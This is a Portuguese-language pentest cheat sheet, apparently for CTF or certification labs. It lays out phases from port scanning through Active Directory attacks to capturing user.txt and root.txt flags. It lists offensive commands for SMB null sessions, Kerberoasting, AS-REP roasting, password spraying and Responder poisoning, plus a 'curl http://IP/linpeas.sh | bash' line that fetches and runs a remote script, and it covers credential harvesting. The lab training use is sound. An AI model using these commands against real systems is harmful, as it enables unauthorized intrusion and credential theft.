recon
checklistFASE 0 — Triage & Tracking
HOST DISCOVERY — registrar IP + Hostname + OS provável Classificar: Entry Point / Target de Valor / DC / File Server Nmap Top 1000: sudo nmap -sS --top-ports 1000 -T4 -Pn -n IP
nmapFASE 1 — Port Scan
FULL TCP: sudo nmap -sS -p- --min-rate 5000 -T4 --open -Pn -n IP -oN ports.txt UDP: sudo nmap -sU --top-ports 20 -T4 IP VERSION: sudo nmap -sCV -p PORTAS IP -oN svcs.txt OS DETECTION: flag -O AD PORTS: -p 88,135,139,389,445,464,636,3268,3269 PRINT EVIDENCE
enum
smbFASE 2 — Service Enum
VERSIONS — confirmar versões exatas AUTHENTICATION — testar credenciais default/anon ANONYMOUS ACCESS — SMB/FTP/NFS SMB: cme smb IP -u '' -p '' --shares / enum4linux-ng -A IP SNMP: snmpwalk -v2c -c public IP LDAP: ldapsearch -x -h IP -b 'DC=dom,DC=local' null session PRINT EVIDENCE
webFASE 3 — Web
FINGERPRINT: whatweb http://IP DIRECTORY SCAN: ffuf -u http://IP/FUZZ -w directory-list-2.3-medium.txt -t 50 VHOST: ffuf -u http://IP -H 'Host: FUZZ.DOMINIO' -w subdomains-top1mil-5000.txt INFORMATION DISCLOSURES — robots.txt, .git, backups ATTACK WEB — SQLi, XSS, LFI, SSRF, IDOR, Upload, Auth bypass PRINT EVIDENCE
cmdFASE 4 — Active Directory
BloodHound: bloodhound-python -d DOM -u user -p pass -ns IP -c all AS-REPRoasting: impacket-GetNPUsers DOM/ -dc-ip IP -usersfile users.txt -no-pass Kerberoasting: impacket-GetUserSPNs DOM/user:pass -dc-ip IP -request Password Spray: cme smb IP -u users.txt -p 'Senha123!' --continue-on-success Responder: sudo responder -I tun0 -wPv
exploit
cmdFASE 5 — Check Vulnerabilities
CHECK EACH SERVICE — CVE por versão exata searchsploit SERVIÇO VERSÃO Internal information leakage PRINT EVIDENCE
post-exp
cmdFASE 6 — Post-Exploitation
whoami + hostname + ifconfig — SCREENSHOT OBRIGATÓRIO LinPEAS/WinPEAS: curl http://IP/linpeas.sh | bash sudo -l SUID: find / -perm -4000 -type f 2>/dev/null Cron: cat /etc/crontab Credential harvesting — config files, bash_history Subnets internas — registrar para pivot PIVOT: Ligolo-ng / Chisel / SSH Tunnel PRINT EVIDENCE
flags
flagFASE 7 — Flags & Evidence
user.txt — SCREENSHOT com cat root.txt / administrator.txt — SCREENSHOT OBRIGATÓRIO Evidências salvas em proof/